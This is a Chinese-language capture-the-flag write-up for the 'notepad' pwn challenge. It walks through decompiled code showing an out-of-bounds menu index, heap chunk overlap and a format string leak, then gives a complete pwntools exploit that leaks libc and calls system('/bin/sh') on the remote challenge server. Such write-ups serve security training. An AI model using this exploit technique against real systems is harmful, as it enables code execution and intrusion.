32位程序,没开PIE #chunk overlapping #越界访问 #格式化字符串
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 const char *v4; // [esp+8h] [ebp-20h] 4 const char *v5; // [esp+Ch] [ebp-1Ch] 5 const char *v6; // [esp+10h] [ebp-18h] 6 const char *v7; // [esp+14h] [ebp-14h] 7 int v8; // [esp+18h] [ebp-10h] 8 unsigned int v9; // [esp+1Ch] [ebp-Ch] 9 10 v9 = __readgsdword(0x14u); 11 setvbuf(stdin, 0, 2, 0); 12 setvbuf(stdout, 0, 2, 0); 13 alarm(0x1Eu); 14 puts(" _ _ "); 15 puts("| |__ __ _ ___| | ___ __ ___ ___ "); 16 puts("| '_ \\ / _` |/ __| |/ / '_ ` _ \\ / _ \\"); 17 puts("| | | | (_| | (__| <| | | | | | __/"); 18 puts("|_| |_|\\__,_|\\___|_|\\_\\_| |_| |_|\\___|"); 19 puts(" "); 20 v4 = "bash"; 21 v5 = "cmd"; 22 v6 = "notepad"; 23 v7 = "exit"; 24 v8 = 0; 25 while ( 1 ) 26 { 27 switch ( menu(&v4) ) 28 { 29 case 0: 30 puts("Invalid option"); 31 break; 32 case 1: 33 bash(); 34 break; 35 case 2: 36 cmd(); 37 break; 38 case 3: 39 notepad(); 40 break; 41 case 5: 42 return 0; 43 default: 44 continue; 45 } 46 } 47 }
有用的功能只有notepad
1 void notepad() 2 { 3 const char *v0; // [esp+4h] [ebp-24h] 4 const char *v1; // [esp+8h] [ebp-20h] 5 const char *v2; // [esp+Ch] [ebp-1Ch] 6 const char *v3; // [esp+10h] [ebp-18h] 7 const char *v4; // [esp+14h] [ebp-14h] 8 int v5; // [esp+18h] [ebp-10h] 9 unsigned int v6; // [esp+1Ch] [ebp-Ch] 10 11 v6 = __readgsdword(0x14u); 12 v0 = "New note"; 13 v1 = "Open note"; 14 v2 = "Delete note"; 15 v3 = "Set readonly"; 16 v4 = "Keep the secret"; 17 v5 = 0; 18 while ( 1 ) 19 { 20 switch ( menu(&v0) ) 21 { 22 case 0: 23 puts("Unknow option"); 24 break; 25 case 1: 26 notepad_new(); 27 break; 28 case 2: 29 notepad_open(); 30 break; 31 case 3: 32 notepad_delete(); 33 break; 34 case 4: 35 notepad_rdonly(); 36 break; 37 case 5: 38 notepad_keepsec(); 39 break; 40 default: 41 continue; 42 } 43 }
进入new功能看看
1 int notepad_new() 2 { 3 char *v1; // eax 4 char *v2; // ST1C_4 5 char **v3; // [esp+4h] [ebp-14h] 6 int n; // [esp+8h] [ebp-10h] 7 8 v3 = (char **)notepad_find_slot(); 9 if ( !v3 ) 10 return puts("space is full"); 11 printf("size > "); 12 n = readint(); 13 if ( n <= 0 || n > 1024 ) 14 return puts("invalid size"); 15 v1 = (char *)malloc(n + 16); 16 v2 = v1; 17 *((_DWORD *)v1 + 3) = n; 18 *((_DWORD *)v1 + 2) = 1; 19 *(_DWORD *)v1 = notepad_show; 20 *((_DWORD *)v1 + 1) = notepad_destory; 21 printf("data > "); 22 fgets(v2 + 16, n, stdin); 23 *v3 = v2; 24 return printf("your note id is %d\n", ((char *)v3 - (char *)¬es) >> 2); 25 }
可以看到,new函数,可以分配0x10~0x410大小的chunk,在chunk中有以下结构
1 struct note{ 2 notepad_show *notepad_show;//存储一个函数指针,用于输出内容chunk 3 notepad_destroy *notepad_destroy;//存储一个函数指针,用于清空data 4 int flags;//标记,判断是否可以open进行编辑 5 int n;//data数组的大小 6 data[n]//note的内容 7 }
再看看open函数
1 unsigned int notepad_open() 2 { 3 int v0; // ST1C_4 4 int *v2; // [esp+4h] [ebp-1024h] 5 int v3; // [esp+8h] [ebp-1020h] 6 const char *v4; // [esp+10h] [ebp-1018h] 7 const char *v5; // [esp+14h] [ebp-1014h] 8 int v6; // [esp+18h] [ebp-1010h] 9 char s; // [esp+1Ch] [ebp-100Ch] 10 unsigned int v8; // [esp+101Ch] [ebp-Ch] 11 12 v8 = __readgsdword(0x14u); 13 v2 = (int *)notepad_choose(); 14 if ( v2 ) 15 { 16 v3 = *v2; 17 puts("note opened"); 18 if ( *(_DWORD *)(v3 + 8) && yes_or_no("edit") ) 19 { 20 printf("content > "); 21 fgets(&s, 4096, stdin); 22 strncpy((char *)(v3 + 16), &s, *(_DWORD *)(v3 + 12)); 23 puts("note saved"); 24 } 25 v4 = "show note"; 26 v5 = "destory note"; 27 v6 = 0; 28 v0 = menu(&v4); 29 (*(void (__cdecl **)(int))(v3 + 4 * (v0 - 1)))(v3); //可以造成后一个chunk访问前一个chunk的内容 30 puts("note closed"); 31 } 32 return __readgsdword(0x14u) ^ v8; 33 }
menu函数
1 int __cdecl menu(int a1) 2 { 3 int result; // eax 4 int i; // [esp+8h] [ebp-10h] 5 int v3; // [esp+Ch] [ebp-Ch] 6 7 for ( i = 0; *(_DWORD *)(4 * i + a1); ++i ) 8 printf("%c> %s\n", i + 97, *(_DWORD *)(4 * i + a1)); 9 printf("::> "); 10 v3 = getchar() - 97; 11 freeline(); 12 if ( v3 < i ) //v3<0也可通过判断 13 result = v3 + 1; 14 else 15 result = 0; 16 return result; 17 }
利用思路
假设有chunk0和chunk1,使得chunk0的data的最后一个字长内容为一个函数puts的地址,然后在open chunk1,再选择 “show note destory note"的时候输入”^”(也就是ASCII的94)
那么,当执行到(*(v3 + 4 * (v0 - 1)))(v3);
的时候,就是执行函数puts(v3),通过这样一种方式实现了改变执行流程执行了其他的函数
这里可以做到执行任意地址,但是参数v3还没法控制,默认还是一个堆的地址,这个时候就需要用到堆的overlap的操作,先free chunk0和chunk1,再重新分配使得chunk1的内容可以任意改,从而控制参数的内容
exploit
1 from pwn import * 2 #sh=process('./notepad') 3 sh=remote('hackme.inndy.tw',7713) 4 elf=ELF('./notepad') 5 libc=ELF('./libc-2.23.so.i386') 6 #libc=ELF('/lib/i386-linux-gnu/libc.so.6') 7 sh.recvuntil('::> ') 8 sh.sendline('c') 9 10 def newnote(size,data): 11 sh.recvuntil('::> ') 12 sh.sendline('a') 13 sh.recvuntil('size > ') 14 sh.sendline(str(size)) 15 sh.recvuntil('data > ') 16 sh.sendline(data) 17 18 def delnote(idx): 19 sh.recvuntil('::> ') 20 sh.sendline('c') 21 sh.recvuntil('id > ') 22 sh.sendline(str(idx)) 23 24 def opennote(idx,data,chose='a'): 25 sh.recvuntil('::> ') 26 sh.sendline('b') 27 sh.recvuntil('id > ') 28 sh.sendline(str(idx)) 29 sh.recvuntil('(Y/n)') 30 sh.sendline('y') 31 sh.recvuntil('content > ') 32 sh.sendline(data) 33 sh.recvuntil('::> ') 34 sh.sendline(chose) 35 36 def opennote_no(idx,chose='a'): 37 sh.recvuntil('::> ') 38 sh.sendline('b') 39 sh.recvuntil('id > ') 40 sh.sendline(str(idx)) 41 sh.recvuntil('(Y/n)') 42 sh.sendline('n') 43 sh.recvuntil('::> ') 44 sh.sendline(chose) 45 46 newnote(0x60,'aaaa') 47 newnote(0x60,'bbbb') 48 newnote(0x60,'cccc') 49 free_plt=elf.plt['free'] 50 payload='a'*0x5c+p32(free_plt) 51 opennote(0,payload) 52 opennote_no(1,'^') #free(1) 53 delnote(0) #free(0) v0+v1-head_size(0x8)=0xd0 54 55 printf_plt=elf.plt['printf'] 56 payload='a'*0x5c+p32(printf_plt) 57 payload+='a'*8 58 payload+='%1063$p\x00' 59 newnote(0xd0,payload) 60 opennote_no(1,'^') 61 libc_start_main=int(sh.recvuntil('note closed',drop=True),16)-247 62 libc_base=libc_start_main-libc.symbols['__libc_start_main'] 63 system_adr=libc_base+libc.symbols['system'] 64 payload='a'*0x5c+p32(system_adr)+'a'*8+'/bin/sh\x00' 65 delnote(0) 66 newnote(0xd0,payload) 67 opennote_no(1,'^') 68 sh.interactive()